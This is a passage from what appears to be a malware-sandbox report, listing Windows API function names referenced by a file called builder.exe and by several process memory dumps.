"builder.exe") Found reference to API (Indicator: "GetDC"; File: "builder.exe") Found reference to API (Indicator: "MessageBoxA"; File: "builder.exe") Found reference to API (Indicator: "SystemParametersInfoW"; File: "builder.exe") Found reference to API (Indicator: "InvalidateRect"; File: "builder.exe") Found reference to API (Indicator: "ReleaseDC"; File: "builder.exe") Found reference to API (Indicator: "MoveWindow"; File: "builder.exe") Found reference to API (Indicator: "DestroyIcon"; File: "builder.exe") Found reference to API (Indicator: "LoadLibrary"; File: "builder.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "builder.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "builder.exe") Found reference to API (Indicator: "CompareStringEx"; File: "builder.exe") Found reference to API (Indicator: "LCMapStringEx"; File: "builder.exe") Found reference to API (Indicator: "LocaleNameToLCID"; File: "builder.exe") Found reference to API (Indicator: "RegFlushKey"; File: "builder.exe") Found reference to API (Indicator: "VirtualProtect"; File: "builder.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "builder.exe") Found reference to API (Indicator: "VerQueryValueW"; File: "builder.exe") Found reference to API (Indicator: "WSAGetLastError"; File: "builder.exe") Found reference to API (Indicator: "ReportEventW"; File: "builder.exe") Found reference to API (Indicator: "WSACleanup"; File: "builder.exe") Found reference to API (Indicator: "BCryptGenRandom"; File: "builder.exe") Found reference to API (Indicator: "CryptAcquireContextW"; File: "builder.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "builder.exe") Found reference to API (Indicator: "RegCloseKey"; File: "builder.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "builder.exe") Found reference to API (Indicator: "CheckTokenMembership"; File: "builder.exe") Found reference to API (Indicator: "GetFileSecurityW"; File: "builder.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "builder.exe") Found reference to API (Indicator: "GetSecurityDescriptorLength"; File: "builder.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "builder.exe") Found reference to API (Indicator: "CryptReleaseContext"; File: "builder.exe") Found reference to API (Indicator: "SetFileSecurityW"; File: "builder.exe") Found reference to API (Indicator: "CryptGenRandom"; File: "builder.exe") Found reference to API (Indicator: "FreeSid"; File: "builder.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "builder.exe") Found reference to API (Indicator: "FoldStringW"; File: "builder.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "builder.exe") Found reference to API (Indicator: "SetFileTime"; File: "builder.exe") Found reference to API (Indicator: "CreateHardLinkW"; File: "builder.exe") Found reference to API (Indicator: "SetConsoleMode"; File: "builder.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "builder.exe") Found reference to API (Indicator: "FindFirstFileExA"; File: "builder.exe") Found reference to API (Indicator: "MoveFileW"; File: "builder.exe") Found reference to API (Indicator: "SetFilePointer"; File: "builder.exe") Found reference to API (Indicator: "SetThreadPriority"; File: "builder.exe") Found reference to API (Indicator: "CompareStringA"; File: "builder.exe") Found reference to API (Indicator: "CreateThread"; File: "builder.exe") Found reference to API (Indicator: "GetVolumeInformationW"; File: "builder.exe") Found reference to API (Indicator: "ResetEvent"; File: "builder.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "builder.exe") Found reference to API (Indicator: "BackupSeek"; File: "builder.exe") Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; File: "builder.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "builder.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "builder.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "builder.exe") Found reference to API (Indicator: "GetVersionExW"; File: "builder.exe") Found reference to API (Indicator: "SetPriorityClass"; File: "builder.exe") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "builder.exe") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "builder.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "builder.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "builder.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "builder.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "builder.exe") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "builder.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "builder.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "builder.exe") Found reference to API (Indicator: "ReleaseSemaphore"; File: "builder.exe") Found reference to API (Indicator: "GetFileTime"; File: "builder.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "builder.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "builder.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "builder.exe") Found reference to API (Indicator: "GetFullPathNameA"; File: "builder.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "builder.exe") Found reference to API (Indicator: "SetEvent"; File: "builder.exe") Found reference to API (Indicator: "GetLongPathNameW"; File: "builder.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "builder.exe") Found reference to API (Indicator: "FindNextFileA"; File: "builder.exe") Found reference to API (Indicator: "CreateSemaphoreW"; File: "builder.exe") Found reference to API (Indicator: "GetSystemTime"; File: "builder.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "builder.exe") Found reference to API (Indicator: "BackupRead"; File: "builder.exe") Found reference to API (Indicator: "SetThreadExecutionState"; File: "builder.exe") Found reference to API (Indicator: "CreateEventW"; File: "builder.exe") Found reference to API (Indicator: "SetErrorMode"; File: "builder.exe") Found reference to API (Indicator: "SHFileOperationW"; File: "builder.exe") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; File: "builder.exe") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "builder.exe") Found reference to API (Indicator: "SHGetMalloc"; File: "builder.exe") Found reference to API (Indicator: "OemToCharA"; File: "builder.exe") Found reference to API (Indicator: "LoadStringW"; File: "builder.exe") Found reference to API (Indicator: "CharToOemBuffW"; File: "builder.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "builder.exe") Found reference to API (Indicator: "CharLowerW"; File: "builder.exe") Found reference to API (Indicator: "CharToOemA"; File: "builder.exe") Found reference to API (Indicator: "MessageBeep"; File: "builder.exe") Found reference to API (Indicator: "OemToCharBuffA"; File: "builder.exe") Found reference to API (Indicator: "OemToCharBuffW"; File: "builder.exe") Found reference to API (Indicator: "CharUpperW"; File: "builder.exe") Found reference to API (Indicator: "CharToOemBuffA"; File: "builder.exe") Found reference to API (Indicator: "InterlockedPushEntrySList"; File: "builder.exe") Found reference to API (Indicator: "InterlockedFlushSList"; File: "builder.exe") Found reference to API (Indicator: "RtlUnwind"; File: "builder.exe") Found reference to API (Indicator: "VariantClear"; File: "builder.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "builder.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "DecodePointer"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "SetHandleCount"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "CoInitializeEx"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "CoUninitialize"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API (Indicator: "CertOpenStore"; File: "builder.exe") Found reference to API (Indicator: "GetErrorInfo"; File: "builder.exe") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00001004.00000000.176645.14880000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00001004.00000000.176645.14880000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00001004.00000000.176645.14880000.00000004.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "InterlockedPushEntrySList"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "ControlService"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidLocalW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaClose"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaOpenPolicy"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaQueryInformationPolicy"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaLookupNames2"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaFreeMemory"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaLookupSids"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetServerEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LsaLookupNames"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamLookupNamesInDomain"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamOpenDomain"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamEnumerateAliasesInDomain"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamOpenAlias"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamGetAliasMembership"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamLookupIdsInDomain"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamConnect"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamCloseHandle"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamFreeMemory"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SamGetMembersInAlias"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserModalsGet"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserModalsSet"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserAdd"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserDel"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetSessionEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupDelUser"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupAdd"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupSetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupGetUsers"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupAddUser"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetGroupDel"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetWkstaGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetServerTransportEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetWkstaTransportEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetSidLengthRequired"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetConnectionEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetShareGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "AddAccessAllowedAce"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetShareCheck"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetShareEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetShareSetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetShareDel"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetShareAdd"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetAce"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetLocalTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetSystemTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "DsGetDcNameW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetRemoteTOD"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserSetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserGetGroups"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUserGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUseEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetUseDel"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "PeekConsoleInputW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetWkstaUserGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NetServerSetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetProfileStringW"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlGetNtProductType"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlLengthSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlTimeToSecondsSince1970"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlAllocateHeap"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlCompareMemory"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlInitializeSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlSubAuthoritySid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlSubAuthorityCountSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlLengthRequiredSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlCopySid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlTimeFieldsToTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NtAdjustPrivilegesToken"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "NtSetInformationThread"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlQueryTimeZoneInformation"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlInitAnsiString"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: 